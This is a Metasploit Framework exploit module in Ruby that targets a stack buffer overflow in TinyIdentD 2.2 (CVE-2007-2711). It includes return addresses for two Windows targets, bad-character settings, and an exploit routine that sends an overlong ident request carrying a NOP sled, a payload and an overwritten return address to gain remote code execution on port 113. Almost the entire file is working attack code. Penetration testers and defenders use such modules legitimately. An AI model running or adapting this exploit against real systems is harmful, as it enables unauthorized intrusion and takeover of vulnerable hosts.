##
# $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
If we send a long string to the ident service we can overwrite the return
address and execute arbitrary code. Credit to Maarten Boone.
},
'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2007-2711'],
['OSVDB', '36053'],
['BID', '23981'],
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0d\x20\x0a"
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi
['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi
],
'Privileged' => false,
'DisclosureDate' => 'May 14 2007'
))
register_options([ Opt::RPORT(113) ], self.class)
end
def exploit
connect
pattern = "\xeb\x20"+", 28 : USERID : UNIX :";
pattern << make_nops(0x1eb - payload.encoded.length)
pattern << payload.encoded
pattern << [ target.ret ].pack('V')
request = pattern + "\n"
print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
sock.put(request)
handler
disconnect
end
end